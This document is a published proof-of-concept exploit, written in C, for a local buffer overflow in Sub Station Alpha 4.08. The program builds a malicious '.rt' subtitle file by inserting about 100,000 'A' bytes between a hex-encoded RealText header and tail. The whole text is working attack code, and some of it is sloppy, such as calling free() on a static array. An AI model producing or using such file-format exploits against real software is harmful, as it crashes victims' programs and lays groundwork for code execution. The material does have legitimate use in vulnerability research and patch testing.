Sub Station Alpha 4.08 – ‘.rt’ Local Buffer Overflow (PoC)
/*Sub Station Alpha v4.08 .rt file local buffer overflow poc by fl0 fl0w*/ #include <string.h> #include <stdio.h> #define FIL3 "testfile.rt" char header[]= { "\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30" "\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C" "\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D" "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22" //header 109 bytes }; char tail[]= { //junk "\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74" "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39" "\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72" "\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65" "\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F" "\x77\x3E\x0D\x0A" //tail 154 bytes }; char banner[]= { "***********************************************************\n" "Sub Station Alpha v4.08 .rt file local buffer overflow poc*\n" " by fl0 fl0w *\n" "***********************************************************\n" }; /*--------prototypes------*/ int cpy(char*,char*,int); int cpystr(char*,int,int,int); void print(char*); unsigned int getFsize(FILE*,char*); /*-----extern var--------*/ char b[1000000]; char *size; char junk[1000000]; /*--------main---------------*/ int main() { printf("%s",banner); print("Starting sploit"); memset(junk,0x41,99999); buildf(FIL3); print("File done!"); getchar(); return 0; } int buildf(char* fname) { FILE* fp=fopen(fname,"wb"); if(fp==NULL) { print("File writing error"); exit(0); } fprintf(fp,"%s%s%s",header,junk,tail); printf("[!]File is %d bytes",getFsize(fp,FIL3)); fclose(fp); free(b); return 0; } unsigned int getFsize(FILE* g,char* gname) { unsigned int s; g=fopen(gname,"rb"); if(g==NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); return s; } int cpy(char* source,char* dest,int offset) { int len; len=strlen(source); memcpy(dest+offset,source,len+1); return len; } int cpystr(char* dest,int str,int len,int offset) { memset(dest+offset,str,len+1); return len; } void print(char* msg) { printf("\n[*]%s\n",msg); } |